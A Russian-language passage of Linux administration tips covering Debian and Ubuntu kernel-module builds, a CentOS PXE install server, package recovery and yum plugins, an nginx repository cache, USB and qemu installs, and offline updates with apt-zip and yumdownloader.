    ----* Сборка дополнительный модулей ядра в Debian и Ubuntu (доп. ссылка 1)   [комментарии]
     
    Установить дополнительный модуль из исходных текстов для Linux ядра в Debian,
    не нарушая пакетной структуры дистрибутива, можно при помощи приложения
    module-assistant, в результате работы которого на выходе получается обычный
    deb-пакет с заданным модулем.
    
    Для примера произведем установку модуля ndiswrapper в Debian Lenny. 
    
    Устанавливаем module-assistant:
    
       apt-get install module-assistant
    
    Загружаем необходимые для работы сборки модулей заголовочные файлы ядра и
    пакеты, подобные build-essential:
    
       m-a prepare
    
    Обновляем индекс с установленными в данный момент модулями:
    
       m-a update
    
    Посмотреть список модулей можно через команду:
    
       m-a list
    
    или в сокращенном виде:
    
       m-a -t list | grep -E '^[^ ].*\(' | cut -d " " -f 1 | sort
    
    Перед сборкой проверяем наличие в /etc/apt/sources.list подключения
    репозиториев contrib и non-free, которые могут понадобиться для установки
    зависимостей для собираемого модуля.
    
    Собираем нужный модуль, который после сборки будет автоматически установлен (a-i = auto-install):
    
       m-a a-i ndiswrapper
    
    Устанавливаем сразу несколько модулей разом:
    
       m-a a-i madwifi zaptel openswan sl-modem kvm drbd
    
    чтобы просто собрать пакет без установки, нужно выполнить (a-b = auto-build):
    
       m-a a-b ndiswrapper
    
    Если выполнить команду "m-a" без аргументов, то module-assistant запустится в
    интерактивном режиме, где все действия можно проделать в диалоговом режиме
    через интерфейс на базе меню.
    
    Настраиваем загрузку Windows-драйвера через ndiswrapper:
    
       apt-get install ndiswrapper-utils-1.9 wireless-tools
       ndiswrapper -i bcmwl5a.inf
    
    Загружаем модуль:
    
       modprobe ndiswrapper
    
    Проверяем его загрузку:
    
       lsmod | grep ndiswrapper
    
    Настраиваем автозагрузку модуля указав его имя в в /etc/modules:
    
       ndiswrapper
    
    Проверяем работу беспроводной карты и создаем WEP-соединение:
    
       ifconfig wlan0 up
       iwconfig wlan0 key open 1234567890
       iwconfig wlan0 essid номер
       dhclient wlan0
    
     
    ----* Настройка сервера сетевой установки на базе CentOS (доп. ссылка 1)   [комментарии]
     
    Устанавливаем tftp-сервер:
    
       yum install tftp-server
    
    и активируем его в /etc/xinetd.d/tftp:
    
       disable = no
    
    Перезапускаем xinetd, чтобы изменения подействовали:
    
       service xinetd restart
    
    Устанавливаем пакет syslinux:
    
       yum install syslinux
    
    Копируем необходимые для загрузки файлы syslinux в директорию tftpboot:
    
       cp /usr/lib/syslinux/pxelinux.0 /tftpboot
       cp /usr/lib/syslinux/menu.c32 /tftpboot
       cp /usr/lib/syslinux/memdisk /tftpboot
       cp /usr/lib/syslinux/mboot.c32 /tftpboot
       cp /usr/lib/syslinux/chain.c32 /tftpboot
    
    Создаем директорию с PXE меню:
    
       mkdir /tftpboot/pxelinux.cfg
    
    Создаем для каждого релиза CentOS, которые потребуется устанавливать удаленно,
    поддиректории для загрузочных образов:
    
       mkdir -p /tftpboot/images/centos/i386/3.0
       mkdir -p /tftpboot/images/centos/i386/3.1
       mkdir -p /tftpboot/images/centos/x86_64/3.0
       mkdir -p /tftpboot/images/centos/x86_64/3.1
       mkdir -p /tftpboot/images/centos/i386/4.0
       mkdir -p /tftpboot/images/centos/i386/4.1
       mkdir -p /tftpboot/images/centos/x86_64/4.0
       mkdir -p /tftpboot/images/centos/x86_64/4.1
       mkdir -p /tftpboot/images/centos/i386/5.0
       mkdir -p /tftpboot/images/centos/i386/5.1
       mkdir -p /tftpboot/images/centos/x86_64/5.0
       mkdir -p /tftpboot/images/centos/x86_64/5.1
    
    Для каждого релиза и архитектуры копируем образ ядра vmlinuz и ram-диск
    initrd.img из директории /images/pxeboot/ на первом установочном диске каждого
    релиза (из $Release/$ARCH копируем в /tftpboot/images/centos/$ARCH/$RELEASE).
    
    Настраиваем DHCP, добавляем в /etc/dhcpd.conf (вместо xxx.xxx.xxx.xxx
    прописываем адрес нашего PXE-сервера):
    
       allow booting;
       allow bootp;
       option option-128 code 128 = string;
       option option-129 code 129 = text;
       next-server xxx.xxx.xxx.xxx; 
       filename "/pxelinux.0";
    
    Перезапускаем DHCP сервер:
    
       service dhcpd restart
    
    Создаем PXE меню, добавляем в /tftpboot/pxelinux.cfg/default примерно следующее:
    
       default menu.c32
       prompt 0
       timeout 300
       ONTIMEOUT local
    
       MENU TITLE PXE Menu
    
       LABEL Pmajic
            MENU LABEL Pmajic
            kernel images/pmagic/bzImage
            append noapic initrd=images/pmagic/initrd.gz root=/dev/ram0 init=/linuxrc ramdisk_size=100000
    
       label Dos Bootdisk
            MENU LABEL ^Dos bootdisk
            kernel memdisk
            append initrd=images/622c.img
    
       LABEL CentOS 5 x86 NO KS eth0
            MENU LABEL CentOS 5 x86 NO KS eth0
            KERNEL images/centos/5/x86/vmlinuz
            APPEND ks initrd=images/centos/5/x86_64/initrd.img \
            ramdisk_size=100000 ksdevice=eth1 ip=dhcp url --url http://xxx.xxx.xxx.xxx/mirrors/CentOS-5-i386/
    
       LABEL CentOS 5 x86_64 NO KS eth0
            MENU LABEL CentOS 5 x86_64 NO KS eth0
            KERNEL images/centos/5/x86_64/vmlinuz
            APPEND ks initrd=images/centos/5/x86_64/initrd.img \
            ramdisk_size=100000 ksdevice=eth1 ip=dhcp url --url http://xxx.xxx.xxx.xxx/mirrors/CentOS-5-x86_64/
    
     
    ----* Восстановление даты модификации файла из rpmdb (доп. ссылка 1)   Автор: Артем Носов  [комментарии]
     
    Восстановить дату последней модификации файла из базы rpmdb позволяет команда:
    
       touch -m --date="`rpm -q --qf '%{FILEMTIMES:date}' -f имя_файла`" имя_файла
    
    Например, рассмотрим ситуацию
    
       rpm -V postgresql-server
       .......T  c /var/lib/pgsql/.bash_profile
    
    У файла поменялась дата модификации в связи с внесением в него временных
    изменений. Восстановим дату модификации на хранимую в rpmdb
    
       touch -m --date="`rpm -q --qf '%{FILEMTIMES:date}' -f /var/lib/pgsql/.bash_profile`" /var/lib/pgsql/.bash_profile
    
    Проверим, что изменения имели место быть
    
       rpm -V postgresql-server
    
    Проверка прошла успешно.
    
     
    ----* Как в Debian/Ubuntu установить отсутствующий в репозитории Perl модуль   [комментарии]
     
    В случае отсутствия определенного Perl модуля в стандартных репозиториях Debian
    и Ubuntu, можно поставить модуль через задействования механизмов установки
    модулей CPAN, но такие модули не впишутся в пакетную инфраструктуру
    дистрибутива. Поэтому для установки нестандартных Perl модулей следует
    использовать dh-make-perl.
    
    Ставим пакет dh-make-perl:
       apt-get install dh-make-perl
    
    Устанавливаем нужный Perl модуль (в примере Module::Name) из репозитория CPAN:
    
       dh-make-perl --cpan Module::Name --install
    
    Например: 
    
       dh-make-perl --cpan HTML::CTPP2 --install
    
    Утилита dh-make-perl сама загрузит нужный модуль, соберет его, оформит deb-пакет и установит его.
    
    Если модуль не из CPAN, можно распаковать модуль и выполнить (--build -
    сформировать пакет, но не устанавливать):
    
     dh-make-perl директория_с_модулем --build
    
     
    ----* Перенос пакетов с зависимостями между Debian-based дистрибутивами   Автор: Vitto  [комментарии]
     
    Столкнулся с вопросом: как установить программу в debian/ubuntu без интернета.
    Дело в том, для переноса уже установленных программ используют aptoncd, который
    делает мини-репозиторий из кэша пакетов. Но как быть если кэш чистился и в нем
    лежат не все необходимые пакеты? Или необходимо принести программу на ubuntu а
    на компьютере стоит Debian ? Да и архитектур много.
    
    Для получения пакетов со всеми зависимостями для установки на конкретную машину
    нам понадобится файл "/var/lib/dpkg/status" с исходной машины (на которую несем
    пакеты для установки). В нем содержится список установленных пакетов и их
    состояние. На целевой системе не должно быть пакетов, установленных с ошибками
    иначе apt откажется работать.
    
    Если нужно использовать альтернативный sources.list, то его следует создать.
    Затем создаем директорию, где будет наш кэш и директорию partial в ней. Далее
    дело техники.
    
    Получаем список пакетов из sources.list:
    
       sudo apt-get -o Dir::State::status='наш файл status' -o Dir::Cache::archives="куда кладем пакеты" \
         -o Dir::Etc::sourcelist="файл sources.list" -o APT::Architecture="архитектура" update
    
    Создаем кэш:
    
       sudo apt-get -d -o Dir::State::status='наш файл status' -o Dir::Cache::archives="куда кладем пакеты" \
         -o Dir::Etc::sourcelist="файл sources.list" -o APT::Architecture="архитектура" install <нужные пакеты>
    
    В результате в подготовленной директории появятся все пакеты, которые
    необходимы для установки указанных пакетов на нужную нам машину, которые мы
    определяем в мини-репозиторий с помощью aptoncd.
    
     
    ----* Восстановление после неудачной установки deb-пакета (доп. ссылка 1) (доп. ссылка 2)   Автор: Delayer  [комментарии]
     
    Ниже инструкция по удалению некорректно собранного deb-пакета, если после
    попытки его удаления dpkg вываливается с ошибкой.
    
    Удаляем связанную с пакетом информацию (допустим пакет имеет имя package-name)
    
        cd /var/lib/dpkg/info
        rm package-name.*
    
    Открываем с правами администратора в любимом текстовом редакторе файл
    /var/lib/dpkg/status и удаляем секцию с упоминанием удаляемого пакета, имеющую
    примерно следующее содержание:
    
        Package: package-name
        Status: install ok installed
        Priority: extra
        Section: alien
        Installed-Size: 8440
        Maintainer: root
    
        Architecture: amd64
    
        Version: v4.0rc9-999
    
        Depends: blablabla
    
        Conffiles:
        Description: blahblahblah
         .
    Удаляем следы остаточных конфликтов выполнив: 
    
       apt-get -f install
    
     
    ----* Защита пакетов, установленных из определенного Yum репозитория (доп. ссылка 1)   [комментарии]
     
    Для того, чтобы гарантировать, что пакеты, установленные в CentOS / RHEL из
    определенного внешнего Yum-репозитория не будут переустановлены/обновлены при
    появлении более новых версий подобных пакетов в других репозиториях можно
    использовать плагин yum-protectbase.
    
    Устанавливаем плагин:
    
       yum install yum-protectbase 
    
    Активируем плагин, добавив в /etc/yum/pluginconf.d/protectbase.conf
    
       [main]
       enabled = 1
    
    Находим репозиторий, который нужно защитить в директории /etc/yum.repos.d и
    добавляем в конфигурацию опцию
    
       protect = 1
    
    Например, для репозитория epel в файле /etc/yum.repos.d/epel.repo меняем:
    
       [epel]
       name=Extra Packages for Enterprise Linux 5 - $basearch
       #baseurl=http://download.fedoraproject.org/pub/epel/5/$basearch
       mirrorlist=http://mirrors.fedoraproject.org/mirrorlist?repo=epel- 5&arch=$basearch
       failovermethod=priority
       enabled=1
       gpgcheck=1
       gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL
       protect = 1
    
     
    ----* Упрощение удаления группы пакетов в Aptitude, через использования меток (доп. ссылка 1)   Автор: jetxee  [комментарии]
     
    Очень полезная возможность в aptitude - пользовательские метки для выбранных пакетов.
    
    Например, нужно поставить какой-то набор пакетов, чтобы собрать определенную
    программу из исходных текстов,
    а затем удалить пакеты, установленные только для сборки.
    
    При установке помечаем выбранные пакеты какой-то своей меткой (builddeps в моём примере):
    
       sudo aptitude install --add-user-tag builddeps libчто-то-dev libчто-то-ещё-dev ...
    
    А потом, когда эти пакеты больше не требуются, их удаляем, выбрав по той же метке:
    
       sudo aptitude purge '?user-tag(builddeps)'
    
    Поисковый шаблон ?user-tag(метка) можно использовать совместно со всеми другими
    поисковыми шаблонами.
    Присваивать метки можно не только при установке, но и во многих других операциях.
    
     
    ----* Удаление неиспользуемых пакетов в Debian GNU/Linux (доп. ссылка 1)   [комментарии]
     
    Для чистки системы от оставшихся после удаления пакетов, неудаленных
    зависимостей, можно использовать программу deborphan.
    По умолчанию deborphan осуществляет поиск неиспользуемых библиотек, но можно
    указать расширить область охвата на
    файлы с данными, dev-пакеты и т.п.
    
    Устанавливаем deborphan
       apt-get install deborphan
    
    Выводим все неиспользуемые библиотеки:
       deborphan > /tmp/rm_list.txt
    
    Выводим неиспользуемые dev-пакеты:
       deborphan --guess-dev >> /tmp/rm_list.txt
    
    Проверяем /tmp/rm_list.txt на наличие ложных срабатываний, убираем лишнее.
    
    Удаляем неиспользуемые пакеты:
       cat /tmp/rm_list.txt | xargs apt-get -y remove purge
    
    Посмотреть все неиспользуемые пакеты, какие удалось найти (в выводе оказалось
    много нужных пакетов):
       deborphan --guess-all
    
     
    ----* Настройка установки обновлений с исправлением проблем безопасности в RHEL/CentOS (доп. ссылка 1)   [комментарии]
     
    Плагин yum-security позволяет использовать в yum команды list-security и
    info-security, а также опции
    "--security", "--cve", "--bz" и "--advisory" для фильтрации исправлений проблем
    безопасности из общего массива обновлений.
    
    Устанавливаем плагин:
    
       # yum install yum-security
    
    Выводим список доступных обновлений, в которых непосредственно исправлены уязвимости:
    
       # yum list-security
    
    Для вывода всех связанных с безопасностью обновлений (с учетом зависимостей):
    
       # yum --security check-update
    
    Для вывода всех сообщений о проблемах, отмеченных в bugzilla:
    
       # yum list-security bugzillas
    
    Вывод информации об исправлениях, связанных с уведомлением о наличии уязвимостей RHSA-2009:1148-1:
    
       # yum info-security RHSA-2009:1148-1
    
    Вывод списка пакетов в которых устранены заданные ошибки отмеченные в Bugzilla, CVE и RHSA:
    
       # yum --bz 3595 --cve CVE-2009-1890 --advisory RHSA-2009:1148-1 info updates
    
    Установка только обновлений, связанных с безопасностью:
    
       # yum update --security
    
     
    ----* Установка ненайденного ключа для PPA репозиториев Ubuntu (доп. ссылка 1)   Автор: silverghost  [комментарии]
     
    Если система ругается, что не найден ключ репозитория:
    
       W: Ошибка: http://ppa.launchpad.net intrepid Release: Следующие подписи не могут быть проверены, 
       так как недоступен открытый ключ: NO_PUBKEY 5A9BF3BA4E5E17B5
    
    Это легко исправить двумя командами:
    
       gpg --keyserver keyserver.ubuntu.com --recv 5A9BF3BA4E5E17B5
       gpg --export --armor 5A9BF3BA4E5E17B5 | sudo apt-key add -
    
     
    ----* Как настроить кеширующий репозиторий для Fedora с помощью nginx   Автор: fb769  [комментарии]
     
    Устанавливаем необходимые пакеты
    
       yum install nginx yum-utils
    
    правим конфиг /etc/nginx/nginx.conf перед последней закрыющейся } дописываем
    
       include /etc/nginx/vh/*;
    
    создаем каталог
    
       mkdir /etc/nginx/vh
    
    а в нем файл repocache.local следующего содержания
    
        server {
            listen                          80;
            server_name                     repocache.local;
    
            location /pub/fedora {
                    autoindex               on;
                    root                    /home/repocache;
                    error_page              404 = @fetch_yandex;
            }
    
            location / {
                    autoindex               on;
                    root                    /home/repocache;
                    error_page              404 = @fetch_yandex;
            }
    
            location @fetch_yandex {
                    internal;
    
                    rewrite  ^/pub(.*)$  /$1  break;
    
                    proxy_pass              http://mirror.yandex.ru;
                    proxy_store             on;
                    proxy_store_access      user:rw  group:rw  all:r;
                    proxy_temp_path         /home/repocache/temp;
    
                    root                    /home/repocache/pub;
            }
       }
    
    создаем каталоги 
    
       mkdir /home/repocache
       mkdir /home/repocache/bin
       mkdir /home/repocache/pub
       mkdir /home/repocache/temp
       chown -R nginx:nginx /home/repocache
    
    в каталог /home/repocache помещаем скрипт clean.sh
    
    
        #!/bin/bash
    
        for f in $@;
        do
            echo $f
            for ff in `repomanage --old $f`;
            do
                rm -f $ff
            done
            rm -f $f/repodata/*
        done
    
    и repocache.sh
    
       #!/bin/bash
    
       find /home/repocache/pub -type d -regex .*/updates/.*/i386 -exec /home/repocache/bin/clean.sh {} +
       find /home/repocache/pub -type d -regex .*/updates/.*/x86_64 -exec /home/repocache/bin/clean.sh {} +
    
       rm -f /home/repocache/temp/*
    
    
    
    
    
    
    
    
    
    
    
       #!/bin/bash
    
       for f in `repomanage --old $1`;
       do
           echo $f
           rm -f $f
       done
    
       rm -f $1repodata/*
    
    и repocache.sh
    
       #!/bin/bash
    
       path_to_repo_dir="/home/repocache/pub/"
    
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/linux/updates/11/i386/
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/linux/updates/11/x86_64/
    
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/rpmfusion/free/fedora/updates/11/i386/
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/rpmfusion/free/fedora/updates/11/x86_64/
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/rpmfusion/nonfree/fedora/updates/11/i386/
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/rpmfusion/nonfree/fedora/updates/11/x86_64/
    
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/russianfedora/russianfedora/fixes/fedora/updates/11/i386/
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/russianfedora/russianfedora/fixes/fedora/updates/11/x86_64/
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/russianfedora/russianfedora/free/fedora/updates/11/i386/
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/russianfedora/russianfedora/free/fedora/updates/11/x86_64/
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/russianfedora/russianfedora/nonfree/fedora/updates/11/i386/
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/russianfedora/russianfedora/nonfree/fedora/updates/11/x86_64/
    
       rm -f /home/repocache/temp/*
    
    Запускаем nginx
    
       service nginx start
    
    Добавляем в crontab запуск скрипта /home/repocache/bin/repocache.sh раз в сутки (ночью)
    Перенастраиваем локальные компы и на новый репозиторий и пробуем обновиться
    Удачи.
    
     
    ----* Установка Ubuntu Server с флеш-карты (доп. ссылка 1) (доп. ссылка 2)   Автор: xAnd  [комментарии]
     
    Установка десктопных дистрибутивов с USB-накопителей обычно не вызывает особых проблем, 
    UNetBootin есть и под Windows и под Linux, кроме того, есть ещё несколько способов изготовления 
    загрузочных "флешек". Для серверного дистрибутива Ubuntu этот способ не
    подходит. Программа установки запускается,
    всё проходит гладко до монтирования привода CD-ROM и на этом заканчивается. Ни
    ручное монтирование привода,
    ни использование стандартных драйверов 
    не помогает, что в общем-то естественно, CD-ROM&#8217;а-то нет. В итоге, выход
    нашёлся на официальном help&#8217;е Ubuntu.
    
    И вот, что в итоге нам понадобится для создания "правильно" установочной
    "флешки" для Ubuntu Server:
    
       1. Собственно сам ISO-образ Ubuntu Server
       2. initrd.gz (http://archive.ubuntu.com/ubuntu/dists/jaunty/main/installer-amd64/current/images/hd-media/initrd.gz)
       3. wmlinuz (http://archive.ubuntu.com/ubuntu/dists/jaunty/main/installer-amd64/current/images/hd-media/vmlinuz)
       4. Flash-накопитель от 1 Гб и больше
    
    Если будете ставить другую версию или другую целевую платформу, то ссылки будут другие.
    
    Ещё нам понадобится небольшой скрипт:
    
        # Replace "sdx" with "sdb" or whatever your flash drive is
        #   - If unsure which device is your flash drive then
        #     run "sudo fdisk -l | less" in order to identify it
    
        ISOIMAGE=ubuntu-9.04-server-amd64.iso
    
        sudo apt-get install syslinux mtools mbr
        echo "Use fdisk to manually create a 1GB bootable FAT16 partition."
        read -p "Press [Enter] to start the fdisk program..."
        # sudo fdisk /dev/sdx
        # sudo mkfs -t vfat /dev/sdx1
        sudo mkdir -p /mnt/flash
        sudo mount -t vfat /dev/sdx1 /mnt/flash
        sudo syslinux -s /dev/sdx1
        sudo mkdir -p /mnt/iso
        sudo mount -o loop $ISOIMAGE /mnt/iso
        sudo cp -R /mnt/iso/isolinux/* /mnt/flash
        sudo mv /mnt/flash/isolinux.cfg /mnt/flash/syslinux.cfg
        sudo mkdir -p /mnt/flash/install
        sudo cp vmlinuz /mnt/flash/install
        sudo cp initrd.gz /mnt/flash/install
        # clear pool directory, which is unnecessary for installation
        # that enables installation on 1G flash; remove if installing on
        # bigger devices and you run into problems
        sudo rm -rf /mnt/flash/pool
        sudo cp $ISOIMAGE /mnt/flash
        sudo install-mbr /dev/sdx
        sudo umount /mnt/flash
        sudo umount /mnt/iso
    
    Копируем его, вставляем в любимый текстовый редактор. Переменной $ISOIMAGE
    присваеваем имя ISO-образа,
    а все упоминания sdx заменяем на имя устройства флешки (обычно sdb, если у Вас
    один физический диск).
    Сохраняем полученный файл в директории и выполняем:
    
        chmod +x script
        sudo ./script
    
    Во время работы скрипта изначально был прописан запуск fdisk и переформатирование, 
    но для стандартных, уже отформатированных под FAT32 флешек, делать это не обязательно.
    
     
    ----* Установка ARM-сборки Debian GNU/Linux в qemu (доп. ссылка 1) (доп. ссылка 2) (доп. ссылка 3)   [комментарии]
     
    Перед экспериментами по установке Linux на устройства на базе архитектуры ARM
    (например, Sharp Zaurus,
    Openmoko FreeRunner, планшетные ПК NOKIA, NAS на базе SoC Marvell) вначале
    стоит потренироваться в эмуляторе.
    Кроме того, окружение созданное в эмуляторе удобно использовать 
    для создания и сборки пакетов программ или модулей ядра.
    
    Ставим на рабочую машину qemu. Для debian/ubuntu:
    
       sudo apt-get install qemu
    
    Создаем дисковый образ размером 10Гб для виртуальной машины:
    
       qemu-img create -f qcow hda.img 10G 
    
    Загружаем ядро, initrd и инсталлятор Debian для архитектуры ARM:
    
       wget http://people.debian.org/~aurel32/arm-versatile/vmlinuz-2.6.18-6-versatile 
       wget http://people.debian.org/~aurel32/arm-versatile/initrd.img-2.6.18-6-versatile 
       wget http://ftp.de.debian.org/debian/dists/etch/main/installer-arm/current/images/rpc/netboot/initrd.gz 
    
    Загружаем инсталлятор и устанавливаем Debian по сети, следуя инструкциям программы установки:
    
       qemu-system-arm -M versatilepb -kernel vmlinuz-2.6.18-6-versatile -initrd initrd.gz -hda hda.img -append "root=/dev/ram" 
    
    Запускаем установленную систему:
    
       qemu-system-arm -M versatilepb -kernel vmlinuz-2.6.18-6-versatile -initrd initrd.img-2.6.18-6-versatile \
          -hda hda.img -append "root=/dev/sda1"
    
    Устанавливаем дополнительные программы, например, gcc:
    
       apt-get install gcc
    
    Проверяем:
    
       gcc -dumpmachine
       "arm-linux-gnu"
    
     
    ----* Использование apt-p2p для ускорения обновления Ubuntu (доп. ссылка 1)   [комментарии]
     
    Приближается выход релиза Ubuntu 9.04, в день которого из-за перегрузки зеркал
    могут наблюдаться проблемы со скоростью загрузки обновлений.
    Для оптимизиации процесса предлагается задействовать apt-прокси, организующий
    загрузку данных по принципу P2P сетей.
    
    Устанавливаем apt-p2p:
    
       sudo apt-get install apt-p2p
    
    Правим /etc/apt/sources.list (добавляем "localhost:9977" после "http://"):
    
       deb http://localhost:9977/archive.canonical.com/ubuntu hardy partner
       deb-src http://localhost:9977/archive.canonical.com/ubuntu hardy partner
       deb http://localhost:9977/*mirror-address*/ubuntu/ hardy main universe restricted multiverse
       deb-src http://localhost:9977/*mirror-address*/ubuntu/ hardy main universe restricted multiverse
    
    Обновляем список пакетов:
    
       sudo apt-get update
    
    Запускаем процесс обновления Ubuntu 8.10 до версии 9.04
    
       sudo update-manager -d
    
    Открываем в браузере  http://localhost:9977 и смотрим информацию о скорости
    загрузки и другую статистику
    
     
    ----* Добавление поддержки IP sets и пересборка ядра в Debian GNU/Linux (доп. ссылка 1)   Автор: sanmai  [комментарии]
     
    Настроим IP sets (http://ipset.netfilter.org/) в Debian.  Ipset позволяет использовать 
    большие таблицы IP и MAC адресов, подсетей номеров портов совместно с iptables
    (подключение через одно
    правило, в таблице используется хэширование). Возможно быстрое обновление списка целиком. 
    
    Например:
       ipset -N servers ipmap --network 192.168.0.0/16
       ipset -A servers 192.168.0.1
       iptables -A FORWARD -m set --set servers dst,dst -j ACCEPT
    
    Ставим исходные тексты ядра и устанавливаем необходимые для сборки пакеты:
    
       # apt-get install kernel-package libncurses5-dev fakeroot
    
       /usr/src# REV=`date +%F`
       /usr/src# KV=2.6.29
    
       /usr/src# wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-${KV}.tar.bz2 
       /usr/src# wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-${KV}.tar.bz2.sign
       /usr/src# gpg --verify linux-${KV}.tar.bz2.sign
    
       /usr/src# tar xvjf linux-${KV}.tar.bz2
       /usr/src# ln -s linux-${KV} linux
    
    Устанавливаем патчи ipset:
    
       # cd /usr/src/
       src # aptitude install git-core ipset
       src # git clone git://git.netfilter.org/ipset.git
       src # cd ipset/
       ipset # make KERNEL_DIR=/usr/src/linux patch_kernel
       cd kernel; ./patch_kernel /usr/src/linux
    
    Собираем ядро:
    
       ipset # cd /usr/src/linux
       /usr/src/linux# make-kpkg clean
       /usr/src/linux# make menuconfig
       /usr/src/linux# cp .config ~/
    
    Отвечаем yes на все что нам нужно.
    
    Начинаем непосредственно компиляцию:
    
       /usr/src/linux# fakeroot make-kpkg --revision=${REV} kernel_image
    
    Пьем чай. Спокойно. Оно заканчивается:
    
       dpkg --build /usr/src/linux/debian/linux-image-${KV} ..
       dpkg-deb: building package `linux-image-${KV}' in `../linux-image-${KV}_${REV}_amd64.deb'.
       make[2]: Leaving directory `/usr/src/linux-${KV}'
       make[1]: Leaving directory `/usr/src/linux-${KV}'
    
       /usr/src/linux# 
       /usr/src/linux# dpkg -i ../linux-image-${KV}_${REV}_amd64.deb
    
    Если не получилось, удаляем и компилируем с той же ${REV}:
    
       /usr/src/linux# dpkg -r linux-image-${KV}
       /usr/src/linux# REV=`date +%F`
       /usr/src/linux# rm -fr debian/
       /usr/src/linux# make menuconfig 
    
    И так далее как было выше.
    
    После установки обновляем конфиг grub:
    
       /usr/src/linux# update-grub 
    
       Searching for GRUB installation directory ... found: /boot/grub
       Searching for default file ... found: /boot/grub/default
       Testing for an existing GRUB menu.lst file ... found: /boot/grub/menu.lst
       Searching for splash image ... none found, skipping ...
       Found kernel: /vmlinuz-${REV}
       Updating /boot/grub/menu.lst ... done
    
    Обязательно проверяем и перезагружаемся:
    
       /usr/src/linux# cat /boot/grub/menu.lst
       /usr/src/linux# reboot
    
    Заключительный тест:
    
       ~ $ ping server
    
    Debian 5.0 (Lenny и ipset).
    
    
    
    Дополнение от pavel_simple:
    
    В Debian 5.0 (Lenny), модулей ipset как таковых нет. Вместо этого имеется всё необходимое,
    чтобы ими можно было воспользоваться.
    
    1. устанавливаем пакеты.
    
       #apt-get build-dep netfilter-extensions-source
       #apg-get install netfilter-extensions-source
       #cd /usr/src
       #tar xjf netfilter-extensions.tar.bz2
    
    2. собираем и устанавливаем
    
       #m-a a-i netfilter-extension
    
    3. пользумся
    
     
    ----* Резервная копия rpm пакетов, обновляющихся через yum. (доп. ссылка 1)   Автор: Romik_g  [комментарии]
     
    Если добавить в секцию "[main"] файла /etc/yum.conf опцию
    
       tsflags=repackage
    
    то резервные копии rpm пакетов, которые обновились, вместе с конфигурационными файлами,
    будут сохраняться в директории /var/spool/repackage/. Не забывайте следить за
    свободным местом на диске.
    Подробности в man yum.conf и man rpm.
    
    Сохранение изменений файлов конфигурации работает, только если вы держите конфигурационные файлы 
    в стандартных для конкретных rpm пакетов местах.
    
     
    ----* Как вручную распаковать RPM пакет из последних версий AltLinux и OpenSUSE   [комментарии]
     
    Для новых версий AltLinux и OpenSUSE не пройдет стандартный метод 
    
       rpm2cpio packet.rpm | cpio -idmuv --no-absolute-filenames
    
    cpio выдаст ошибку, а при сохранении в файл и проверке утилитой file будут
    определены бинарные данные.
    
    Дело в том, что AltLinux и OpenSUSE перешли на использование алгоритма LZMA для
    сжатия cpio архива внутри RPM,
    
    поэтому для ручного раскрытия дополнительно нужно использовать утилиту lzma:
    
       rpm2cpio packet.rpm |lzma -d | cpio -idmuv --no-absolute-filenames
    
    
    Пакет с консольной утилитой lzma можно загрузить с сайта http://tukaani.org/lzma/ или 
    поставить из пакетов (lzma или lzma-utils).
    
     
    ----* Использование apt-zip и yumdownloader для загрузки обновлений с другой машины (доп. ссылка 1)   [комментарии]
     
    apt-zip позволяет минимизировать ручные операции при обновлении Debian/Ubuntu 
    на машине с медленным соединением к сети.
    
    Устанавливаем apt-zip:
       apt-get install apt-zip
    
    В /etc/apt/apt-zip.conf определяем носитель для переноса пакетов между машинами.
    Например, меняем "MEDIUM=/media/zip" на "MEDIUM=/media/disk"
    
    Обновляем кеш пакетов:
       apt-get update
    
    Записываем на Flash диск примонтированный как /media/disk список пакетов для обновления:
    
       apt-zip-list
    
    На Flash будет записан shell скрипт (fetch-script-wget-имя_машины ) для загрузки пакетов 
    при помощи утилиты wget. На машине с высокоскоростным линком достаточно просто
    запустить этот скрипт.
    
    Тип обновления задается в /etc/apt/apt-zip.conf через переменную DEFAULT_APTGETACTION:
    
    upgrade - обновление уже установленных пакетов из репозиториев, определенных в /etc/apt/sources.list
    dselect-upgrade - от upgrade отличается использованием dselect
    dist-upgrade - поддерживает расширенный разрешения конфликтов, больше подходит
    для выполнения обновления
    всего дистрибутива до более новой версии.
    
    После того как необходимые пакеты будут скопированы на Flash, на машине на которой 
    нужно произвести обновление необходимо выполнить:
    
       apt-zip-inst
    
    Для запроса установки новых дополнительных пакетов можно использовать:
    
       apt-zip-list -a upgrade -p openoffice.org,digikam 
       ...
       apt-zip-inst -a upgrade -p openoffice.org,digikam
    
    --------------
    
    Рекомендации от _selivan_. Если дома есть dial-up, создаем скрипт upd.sh:
    
       #!/bin/bash
       # Usage: get_soft_links.sh <package1> ... <packageN>
       URLS=soft`date +%F_%H.%M`-urls.txt
       LIST=soft`date +%F_%H.%M`-list.txt
       DIR=~/links
       # get links
       apt-get --print-uris -y -qq dist-upgrade | cut -d\' -f2 >  $DIR/$URLS
       apt-get --print-uris -y -qq install $@ | cut -d\' -f2 >> $DIR/$URLS
       # print names of requested packages to file
       echo $@ > $DIR/$LIST
       #convert unix newline format to windows for windows download managers
       sed -i -e 's/$/\r/' $DIR/$URLS
    
    
    Если диалапа нет - на один шаг больше:
    
       apt-get --print-uris update
       ...
    
    --------------
    
    Рекомендации от sHaggY_caT по использованию yumdownloader в Fedora, Centos, ASP
    и других Red Hat-подобных дистрибутивах:
    
    Ставим yum-utils.
    Для генерации листа закачки можно использовать скрипт 
    (первый аргумент название пакета, второй, имя выходного файла):
    
       #!/bin/sh
       yumdownloader --urls $1 | sed '1,2d' > /media/disk/$2.txt
    
    Удаление первых двух строк поставлено, так как там служебная информация от плагинов и yum. 
    К сожалению, yum не разделяет вывод служебной информации и результат на потоки,
    по этому, сделать 2>/dev/null нельзя
    
    Что касается машины совсем без интернета, в тут возможность подобная "apt-get
    --print-uris update" не получится.
    Можно только сгенерировать список для загрузки с ключем "-C":
